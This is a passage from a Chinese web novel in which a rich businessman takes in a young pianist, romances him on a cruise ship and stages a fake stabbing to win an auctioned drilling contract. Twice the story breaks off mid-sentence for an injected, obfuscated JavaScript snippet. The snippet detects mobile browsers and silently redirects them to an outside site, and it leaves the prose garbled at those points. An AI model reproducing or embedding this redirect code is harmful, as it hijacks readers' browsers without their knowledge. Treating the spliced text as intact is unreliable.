虞清念泡在水里的手指已经僵硬到不能弯曲,杜宾抬起脚就要踩在这能弹奏出美妙乐曲的钢琴天才的手指之上,千钧一发之际,陆诏望向眼前这双水盈盈盛满恳求的眼睛,开口说:“等一下。” ———— 虞清念缩在后排座椅的角落处,惊魂未定般发着抖,车里的冷气因为他的到来而关闭。 陆诏从胸前口袋里掏出一张叠得整齐的手帕,两指夹住递到了虞清念面前。 “谢谢您…”虞清念接过手帕擦拭着自己湿透的脸,雨滴不断从发尾滴落。 “他们为什么要追你。”陆诏问。 手帕上有着令人安心的松柏香气,虞清念攥着帕子,慢慢把自己家里出的事和他与杜宾的冲突说出来。 “他现在觉得我没有父母庇护,所以想出出之前的气。”少年低着头,手指上一颗淡色小痣有些扎眼。 虞清念并着膝盖只坐了一点点位置,像是生怕自己脏兮兮的裤子弄脏了真皮座椅,凌乱滴水的头发湿漉漉的,整个人缩起来的样子像是抱着伤口舔舐的小鹿。 他朝身旁男人看了一眼,没想到对方也在看自己,灵动的眼睛里带着慌乱,只是和陆诏对视一眼,就又匆匆低下了头。 陆诏望着少年发红的耳根和脸颊上雪白的软肉,手指搭在膝盖上上下轻敲,“你住哪里?我送你。” 虞清念的心沉了下去,思考了片刻后缓缓开口:“家里房子抵押给银行了,之前在宴会弹琴打工,住在员工宿舍,但今天杜宾闹过之后,经理把我开除了…” 尾音轻叹,沉寂又无措。 陆诏问:“还欠银行多少钱?” 虞清念垂下的眼睛微亮,但语气依旧可怜,“我真的没有办法了,工人出事要的赔偿款太多了,还有我母亲住院需要很多钱,我才刚刚高中毕业……” “我不相信父亲真的跟网上说的一样,因为贪图钱财做那些见利忘义的事,他虽然爱财,但是伤人命的事情是不会做的。” 陆诏听他父亲的事觉得耳熟,问道:“你父亲的公司叫什么名字?” 虞清念说:“赢虞。” “盛宜,帮我查一下。” 盛宜坐在副驾上,很快回复道:“陆总,明天我们要完成收购的公司,就是这一家。” 虞清念猛地仰头,身体前倾望向陆诏激动地说:“您就是陆总!能不能…能不能麻烦您帮我查一查那个建筑工地,工人失事到底是怎么回事…赢虞是我父亲一生的心血,我不想让他的心血毁于一旦。” 陆诏瞥了一眼握住自己衣角的手指,依旧斯文自持,看不出情绪波动,深邃的眼睛望向虞清念,眼底像是有个漩涡一般把人吸进去,无法逃离,只能往下坠落。 “说直接点,一共需要多少。” 虞清念直直望向他,表情微变,嘴角压平说了个数字。 “我可以帮你,欠的钱也可以帮你还,但我是个商人,讲究有来有往,你能给我什么呢?”放轻的声音温柔又蛊惑。 虞清念定定回看,说:“我什么都能给,只要您想要。” 16. 第 16 章 一步之遥的前奏在游轮大厅中响起,虞清念把一只手搭在陆诏的手心,另一只手扶住他的肩膀,脚下步伐跟随音乐缓慢移动。二人贴的很近,近到对方呼出的气息都能感受的彻底。 其实虞清念没怎么跟陆诏跳过舞,但他们都对彼此的肢体太过熟悉,每一个眼神,每一个转头,都能了解到下一个动作会是什么,默契的配合让二人迅速达成和谐的共舞。 钢琴声渐强,曲子进入中间的高潮阶段,虞清念感觉到腰间贴着的手掌微一用力,他就被陆诏带着朝后仰头下腰,又随着下一秒手风琴的介入直起身体。 忽然失去支撑点悬在半空的停滞感让人心脏停跳了一拍,空气从面颊轻拂而过,虞清念看见眼前的画面逐渐变高,从不远处餐桌上的罗马纹瓷碟,再到烛台上点燃的蜡烛,最后是仰在半空中,身体重量全靠陆诏托着时,眼中只有那让人目眩神迷的的巨型水晶吊灯。 五颜六色的光芒从水晶的各个切面折射出来,从底下看,像是陷入了一朵巨大的水晶花中。虞清念脚跟用力,朝前直起身子,脸颊正好和倾身把他拉起的陆诏贴在一起。 悬空的心跳还未平,近距离的贴近更让人肾上腺素激升,激扬的小提琴婉转又悠扬,虞清念闻到了陆诏身上松木味的香气,手指搭紧了对方的肩膀。 漂亮的脸庞就那么直直冲着自己而来,陆诏没有后撤,只是等着少年自己撞上来,和自己脸对脸相贴。 不知道他喝了什么,酸酸甜甜的味道通过微微张开的嘴唇飘出来,只有一寸就能品尝到的嘴唇红润又饱满,陆诏手心略一用力,搂紧了底下细细的腰身。 皮鞋踏在木地板上有节奏地响,虞清念伸直手臂转圈,周遭的一切都变得平静,他只能看见不远处绽放的粉红色花树,以及忽远又忽近的陆诏。 手指一直被紧紧握住,温暖的温度从指尖传递到心尖,和陆诏跳舞,与和别人跳的感受不同,虞清念没有一刻像现在这样,能那么真切地感觉到自己的心跳、对方的呼吸,渴望每一次皮肤的相贴。 一曲终了,二人身上都出了薄汗,虞清念眼睛含着笑意,和陆诏面对面,玩闹着做了个不伦不类的屈膝礼,然后哈哈一笑,拉着他的手朝外跑出去。 甲板上海风吹来咸腥的水汽,门里的音乐还隐隐能听到回响,虞清念勾住陆诏的脖子踮起脚,亲得难舍难分。 青苹果气泡水的酸甜在二人舌尖被分享,虞清念被搂着往后压在栏杆前,舌头缠绕,水声隐约被翻搅出来,他被舔舐着口腔的上壁,头皮发麻止不住哆嗦。 海浪潮汐拍打着豪华巨轮,他们在远处灯塔的光照下接吻。 若有若无的朝深处的□□带来难以忍受的痒,虞清念伸手推着男人的肩膀,从喉咙里发出抗拒的哼声,舌尖被含着吸了一口之后,他又发出一声似哭一样的短促尖叫,被攥住两个腕子固定在胸前,陷在深吻里脸颊潮红,小腿止不住往上抬。 蓬松柔软的后脑勺被大手掌住,陆诏控制着他的接吻角度,尽情品尝眼前人的味道。 微翘的唇瓣被嘬着亲,发出细微的声响,虞清念整个人挂在陆诏身上,头脑发飘,像是个松软的棉花糖,在对方拉开距离之后,还朝外翘着舌头,一副没被亲够的模样。 陆诏轻笑,抬指把那截红舌塞回了少年口腔里,濡湿嫩滑的触感十分美妙。 虞清念靠在他身上喘了好一会儿才平复呼吸,小腿像蛇一样往人身上缠。 陆诏捏了一把他的脸,警告般看了他一眼,“现在不行。” 虞清念发出委屈的哼声,嘴角下撇,脸蛋被扯变形多了几分可爱。 “怎么最近那么…”陆诏捏着他的脸轻晃,视线下移,吐出了一个十分不绅士的字。 虞清念脸颊爆红,狠狠瞪了他一眼,推开他的手臂气急败坏道:“青春期!你懂不懂什么是青春期啊!估计你青春期的时候我还没出生呢叔叔!”谁让他刚刚非逗自己来着,本来他也不会这样啊! 船上的钟声在此时敲响,本次宴会的重头戏——拍卖会,即将开始。 虞清念看了一眼表,迁怒道:“明明还没到拍卖会开始的时间,怎么不按时间表来,太不像话了!” 陆诏搂着他的肩膀哄道:“念念说的对,等会儿想买什么尽管举,好不好?” 虞清念抱着手臂哼了一声,“等着破产吧你,我是不会给你省钱的。” ———— 拍卖会大厅布置得十分奢华,红色的深海珊瑚盆景围了一圈隔开拍卖场地,虽然提前开场,但一心想要看看此次拍品的人很多,黑色的椅子上坐满了人,本次拍卖会是港商王庆启的一些私人收藏,最终拍卖得到的款项会捐赠给商会,这也算是他朝内地发展的一个探路石、投名状。 开始的几个拍品都是古董字画之类的,虞清念不感兴趣,但都拍出了不错的价钱。 第四件拍品是克拉数和纯度都相当不错的粉钻,放在上锁的展示台里灯光一打,十分漂亮,虞清念盯着看了好几眼。 自从几年前阿盖尔矿区关闭后,市面上流通的粉钻就急剧减少,价格一路飙升,能把这个拿出来,王庆启也算是下了血本了。 陆诏侧身看了少年一眼,问:“喜欢这个?” 虞清念微微抬起头,眼睛看向一侧:“我只是觉得,小狐狸缺一个王冠,这颗钻石镶在上面刚好。”他说的自然是床上摆在二人枕头中间的那个小狐狸玩偶。 “念念想要的,当然要得到。”陆诏举起手中的号码牌。 最终这颗粉钻被陆诏以高价拍得,虞清念晃了晃脚,蹭蹭陆诏的鞋子,眼睛弯起来笑着说:“谢谢哥哥——” “现在不叫我叔叔了?”陆诏挑眉,显然还在在意刚刚虞清念借着青春期说他老的事。 虞清念抱住他的手,想撒娇解释,却被陆诏握住后颈凑近了对话。 “你的娃娃都有新装饰可以戴,我的娃娃也该多穿穿漂亮的裙子,念念不能让我白花钱吧,嗯?” 虞清念咬了咬嘴唇,在对方强烈的注视下,被迫点头。 拍卖会过半,台上主持人介绍下一件拍品是一架斯坦威钢琴,今天专门邀请了王总的侄女,师从音乐大师的钢琴演奏家周韵小姐,来为大家表演一曲。 陆诏打量了几眼台上的钢琴,问虞清念想不想要。 “没有家里那个好。”虞清念举起一根手指晃了晃,冲他偷偷做了个不值得的表情。 但是全场左等右等,按流程此刻应该坐在钢琴前演奏的周韵却不见了踪影,就在讨论声逐渐变大之时,从旁边房间里传来一声尖叫。 船上的工作人员急忙前去查看,虞清念跟着人群过去,想看看究竟发生了什么。 只见休息室内,周韵跌坐在沙发旁边,面色苍白满是惊恐,白色的轻纱礼服下摆染着大片血迹,从开叉处露出的大腿上有一道深深的切割伤,正朝外流出鲜血。 而在他对面的是神色慌张的王年,他手里握着一把防身刀,鲜血从刀尖正往下滴,怎么看这场景都像是一个凶案现场。 虞清念看到这一幕愣住了,下一秒就被一只温热的手捂住了眼睛,陆诏把他搂到怀里拍了拍后背,温声说:“别看,没事。”松木的淡淡香气连同手指残留的皂香一起飘在虞清念鼻尖,安心又舒适。 拍卖会现场,宴会主人王庆启的侄子和侄女竟然一人举刀,一人差点被害,这个消息传到王庆启耳朵里,他差点当场晕过去,匆匆忙忙赶到现场,调查到底是怎么一回事。 周韵的伤势不算非常严重,毕竟没有伤到要害,但是血却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154661|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流了不少,等船上的医疗队前来替她缝合包扎之后,她才又被请到现场,一看见王庆启,眼泪就无声掉了下来。 因为周韵口口声声说王年要杀她,发生了这样的事,拍卖会只能暂停。游轮已经行驶到公海,靠警察来断案不太现实,所以王庆启带着海上护卫队的人,把周韵和王年都固定在了案件发生的房间里。这是一间休息室,里面还放了架钢琴,是给周韵 上台前练习和休息的房间。 “小韵,到底是怎么回事,你先来说一说。”王庆启没有破坏现场的痕迹,对着一脸惊魂未定流眼泪的周韵问。 周韵点点头,眼睛朝上回忆道:“我本来在练琴,然后感觉有些困想休息一下,就躺在那个沙发上睡着了,迷迷糊糊中感觉有人把我抱起来,我睁开眼看见了王年,他看到我睁眼竟然也一脸惊讶。” “然后拍卖会开始的钟声就响了,我和王年关系一向不好,他怎么可能抱我,我觉得很奇怪,就挣扎着跳下来。”周韵说,“王年跟我说了一些有的没的,还非要拉我一起去阳台甲板上,我感觉很烦,就让他快点离开。然后外面有人声,我想大概是让我出去准备候场的,我刚想叫人进来,王年就疯了一样拿起刀朝我捅来,还好我灵活,只是被他捅到了腿。” “我大叫一声,有人推门闯进来,就是你们看到的这样了。” 周韵断断续续回忆,裹紧了身上的毯子。 这事人群外围围观的一个人跟同伴说:“我天,王年少爷还真的言出必行,他今天下午在喝酒的时候,就说一定要杀了周韵这个处处跟他作对的女人。” 同伴也是惊讶,“他俩都是亲戚,有什么深仇大恨。” “你不知道了吧,这豪门啊水深着呢,我跟你说……” 虞清念就在离他们不远的地方,听到有八卦,连忙移动脚步不动声色凑近,竖起耳朵仔细听。 “最近不是有小道消息传,周韵其实是王庆启的私生女嘛,根本就不是什么侄女,王庆启膝下无子孙,听说最近身体出现了些问题,想要分权,那这权就只能在周韵和王年两个人之间分,这不就是两狼争肉,偏偏周韵有可能是王庆启私生女,那王年能分的不就变少了。” 虞清念感觉无趣,他还以为会有什么好玩八卦呢,没新意。 “还有,他俩是死对头,是因为情债!” 虞清念眼睛瞬间睁大。 “王年有个暗恋很久的女生,追来追去用情至深,结果就在对方要同意的时候,被周韵撬走了。” “你的意思是……周韵是拉——” “哎呦,现在同性婚姻都合法了,你还歧视啊?” “那不是,我还喜欢周韵呢,这样一来我岂不是没机会了。” “这话说的,她不是拉拉你就有机会了?” 王年被按在一旁,却是随时要暴起,脖子上的青筋鼓动,面色发红,几次要打断周韵的话都被护卫队按住了,等她说完后立马开口:“完全是栽赃陷害!天地良心我根本就没有!” 王庆启瞥他一眼,眼神冷冷没什么感情。 王年呼道:“伯父!你得为我作证啊!我来休息室是你叫我来的不是吗?是有人跟我说你有事找我商议,所以我才来这间休息室的,否则我怎么会知道周韵在这里。” 王庆启皱眉,沉声说:“我一直在跟人谈生意,没有找过你。” 王年眉毛都要竖起来了,不可置信摇头说:“我本来正在喝酒,有服务生说你有事找我,我才来到这个房间。结果我一进来,这个女人就浑身是血倒在地上,血迹里还有一把我的刀,我根本不知道我的刀为什么会出现在这里,刚拿起来细看,门就被推开,你们就闯进来了。” 两个人的话看起来都没有漏洞,到底是谁在说谎。 17. 第 17 章 “有一个问题,按照王年少爷你所说的时间线,您被叫走的时候拍卖会已经开始了对吧?也就是说,在拍卖会开始后,您还在别处喝酒。” 人群中有个穿着棕色麂皮西装的男人上前来问道,是之前跟虞清念从蛋糕聊到音乐,从贝多芬聊到失聪,又要聊童年心理创伤原生家庭的那个男人。 王年点头。 “那为什么不去参加拍卖会?” 王年说:“我想要的东西在最后,去早了也是干坐着浪费时间。” 本次拍卖会压轴出场的拍品,是一份深海资源开发转让书。 王庆启是港商,主要依靠的产业就是深海气田开采,他手里有好几处深海开采区。但是就在今年年初,国家出台了新规定,单一企业持有的深海开采权不得超过三处,并且需配套不得低于总投资百分之二十的生态修复资金,手上拥有的开采地越多,需要配套的生态修复资金也成倍增加。 为了获取利益最大化,王庆启想要把手中的某处开采区转让出去,双方合作共赢。所以此次拍卖会最大的目的,就是这份深海资源开发转让书。 当然,流程是流程,作为王庆启的子侄,是有优先拍卖权的,要不是因为政策,王庆启不可能把这块大肥肉让出去,所以拍卖会只是走一个程序正义,在王年看来,这份转让书就是自己和周韵在争,而对方是个只会弹琴的花架子,自己已经创办公司在伯父公司业务的下游线上运作许久,这份协议书,肯定非他莫属,不知道周韵到底跟他抢什么。 棕西装男听他说完后点点头,又道:“所以说,你是提前知道转让书在最后出场,所以在这之前杀了周韵,就正好可以除掉一个竞争对手,毫不费力拿到最后的转让书,对吗?” 王年一愣,继而怒道:“你谁啊,乱说话是要负责的知道吗?” 棕西装男从人群警戒线后钻出来,朝王年快速展示了一个证件,王年还没看清一个字,只看到有张照片,证件就被揣回了怀里。 “我叫赵克,是海上护卫队的队长,能不能让我询问一下被害人?”他看向王庆启,得到点头后上前一步。 “你说一直在这儿练琴,从你进来到王年进来,有没有发生什么异常,或者说,还有谁知道你在这儿?”赵克问周韵。 周韵说:“我想想……啊!我想起来了,有个服务生给我送过咖啡,但是我就喝了一口,因为是摩卡,我在减肥不能喝摩卡。” 赵克从一旁茶几上找到了那杯咖啡,拿去给医疗队化验成分,报告结果显示,里面混有安眠药的成分。 周韵突然醍醐灌顶,指向王年说:“你给我下的药,我小时候喜欢喝摩卡你是知道的,但我减肥你不知道,趁着我睡着不省人事,你想把我抱到阳台甲板上直接扔进海里,不动声色杀掉我,所以看我醒来你才那么惊讶!” 周韵浑身都在发抖。 “我、我为什么,我为什么要杀你?”王年摇头。 赵克说:“王年少爷,你今天喝酒的时候就说过,你一定会找机会杀了周韵,是不是这样?” “我是、我说过,但是…”王年今天喝醉了酒,和旁边人闲聊,说起当初周韵抢走他心爱的人,然后又和人很快分手的事,他觉得周韵就是为了戏弄他故意的。旁边人说现在大家都在讲周韵其实是王庆启私生女,如果真是这样的话,王少爷也奈何不了她。 王年为了逞强要面子,酒意上头直接说:“现在在公海,我就算杀了她也没人管得了我,死无对证。” 在场的确有很多人都听见了,这个他抵赖不了。 王年结结巴巴说:“但我也不至于蠢成这样,打算杀人还出来到处嚷嚷。” “那王年少爷能不能解释一下,为什么你的刀会出现在谋杀现场。”赵克拎起密封袋里那把沾满献血的刀,“周韵小姐腿上的刀伤形状,和这把刀相吻合。” 王年:“我不知道啊,这个刀上有家族徽章,我明明一直随身携带,不知道为什么会在这里。” “那么我们回到最初的问题,你为什么会在这里,刚刚说是服务生以王庆启先生的名义叫你来此商议事宜,那么我想问一下,宴会已经开始了,王庆启先生应该在主持拍卖会,又怎么会与你在此地相见呢?”赵克问。 王年语气慌张:“我、我这……是拍卖会!拍卖会提前了,当时我不知道提前了!” 赵克逼近他:“拍卖会提前了,你原本想下安眠药让周韵小姐沉睡,直接抛入大海,但她醒了与你纠缠不休,门外又有人提前来请她上台,时间与你估算的不一样,匆忙之际你只能拔刀快速杀人灭迹,岂料被发现了。” 王年瘫坐在地,面色苍白。 “杀人动机、作案时间和地点都证据确凿,王年先生如果不承认的话,那么你想说是周韵小姐自己刺伤了自己,专门等你来陷害你的吗?” 王年抬起头,“对,就是这样,是她陷害我!” 双方争执不休,为了维护现场秩序,只能请护卫队先把现场封锁,周韵和王年都被看管起来配合调查。 拍卖会继续,最后的深海资源转让书,被陆诏以绝对优势拍下来,虞清念坐在一旁望着他,表情中略带打量。 “怎么了?”陆诏端坐在椅子上,剪裁质感都属上乘的西裤垂顺,平整熨帖的袖口处露出一截腕表,面带平静。 虞清念说:“我觉得挺不对劲的,你不觉得吗?” 陆诏挑眉:“哪里不对劲?” “有优先拍卖权的侄子侄女突然因为一个谋杀事件,失去拍卖资格,你渔翁得利。”虞清念摇摇头,“之前去港城出差,你是不是提前就见过王庆启。” 陆诏唇角微掀,揉了一把虞清念的头发。 他的疑惑很快就得到了解答,不久后,王庆启请陆诏吃饭谈合作的事,虞清念也跟着去了,在现场,他看到了熟悉的身影——赵克,周韵。 “这次合作能够圆满完成,多亏各位,我提一杯。”王庆启似乎很高兴,跟陆诏说了很多未来合作的规划。 赵克看见虞清念坐在陆诏身边,举止亲密,但依然没有停止散发自己的魅力,利用间隙朝他眨眼招手。 虞清念只当没看见,侧身问周韵:“你的腿好了吗?” “早就好了,不是什么大伤,那些血都是假的。”周韵云淡风轻道。 “你们……都是一伙儿的,陆诏也是?”虞清念盯着雪白的桌布,觉得眼前白茫茫一片什么都看不真切。 周韵说:“我只管执行,别的不知道。” 虞清念从饭局回来之后,就有些魂不守舍,穿着陆诏给他新买的蓝色格子睡衣趴在床上,一把扯过旁边的狐狸玩偶压在身下,白色的被子掩盖住半张脸,只漏了个下巴在外面。 陆诏还有些文件需要处理,坐在书桌前戴了副金丝眼镜,深蓝色的领带扯开一半,半挂在脖子上,衬衫挽到手肘,办公平板在手里衬得有些小。屏幕发出的光从玻璃窗上倒影出来,连带着眼镜架折射出冷感的光。 他往床上瞥了一眼,对虞清念说:“困了吗?别用被子捂着脸,容易喘不过气。” 虞清念猛地把被子掀开,抱着狐狸玩偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154662|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咚咚咚”跑到他面前,靠在书桌上就那么盯着他,一句话不说。 刚洗过澡的少年身上还带着沐浴过后特有的芬芳和水汽,睡衣领口歪到一边,露出笔直的锁骨,他垂着头盯着陆诏,面部没有光,竟然生出了几分阴郁。 陆诏问:“心情不好?” 虞清念还是不说话,抱住玩偶的手收紧,脸颊微鼓。 “有话要跟我说?”陆诏放下手中的工作,手臂支撑在桌子上,转头望向他。 虞清念的头发因为刚刚躺下有些凌乱,头顶支棱起来一块,像是小猫的耳朵。他动了动拖鞋,还是没说话。 陆诏倒也很好脾气,说:“这个月的talk table 还没有开展,就今晚可以吗?” “你不是、还有工作……”少年终于说话了,往上倔强支棱的头发像极了他这个人的性子。 陆诏握住他垂在身侧的手,说:“工作哪有比解决宝宝的心情问题重要。” 卧室旁边的书房里,深色的木地板上铺着复古花色的方形地毯,虞清念坐在陆诏对面的椅子上,手边摆了一杯温水,狐狸玩偶被放在他身边的椅子上,低头看着桌面说:“前几天去游轮参加宴会,我不太开心,因为你们获利的手段我不太认同,费尽周折甚至跟杀人案扯上关系,最后跟我讲这只是为了一份权利转让书,我不能接受你在我面前演那么一大场戏,却不告知我真相。” 说完,他按了桌上一个代表“非常消极”的情绪按钮。 陆诏的眼镜没摘下来,方形的镜框给他整个人的脸增添了一分锐利,他伸出手,也按了相同的按钮,表示他接受到的情绪和虞清念想表达的一致,然后说: “我承认手段不正面,但这是利益最大化、且一劳永逸的做法,这个事件中我方阵营谁都没有损失什么,每个人都得到了想要的。”陆诏按下“有些积极”的按钮。 虞清念摇头,“可是王年呢?他什么都没有做,就这样背负上杀人犯的黑锅,这对他来说不公平。” 陆诏看着他:“念念,你对王年了解有多少?他前年从墨西哥回国,就是因为在那里飙车过失致人死亡,王庆启替他赔了不少钱,叫他去休息室谈话就是以这件事为借口。” “况且他没有背上杀人犯的黑锅,周韵现在依然活蹦乱跳,王年也是。”陆诏说,“消息封锁了没有传出去,王年现在仍然好好的,只是损失了利益而已。” 虞清念喝了一口水,让温水滑过干涩的喉咙。 “王年需要一个教训,否则他可能真的会把墨西哥发生的事再重演一次,王庆启不可能一直给他托底,只能先给他上一课,所以这次计划不只是为了获利,也是为了教子,亲人上的课总比社会上的课更温和。” “你不用说这些冠冕堂皇的理由,我的重点不是王年,他是死是活跟我都没关系。”虞清念低头说。 陆诏认真看向他说:“重点是我,对吗?你觉得我是一个不尊重生命、把杀人犯罪名随意往别人身上扣,就仅仅是为了赚钱的人。” 虞清念手指微蜷,没有说话。 “加之你因为父亲的事,和王年共情,觉得我和当年为了索要赔偿金,就硬生生把喝醉了酒从楼上摔下来的死亡工人栽赃到你父亲身上的那些家属,没什么两样。”陆诏望着他的眼睛,平静陈述事实。 虞清念胸口起伏,把头偏向一侧说:“是,我没有了解清楚事实就下判断,但你也没有告知我真相,问题不只在我。” 陆诏盯着少年头顶的发旋看了一会儿,说:“念念,其实我很开心你生气。”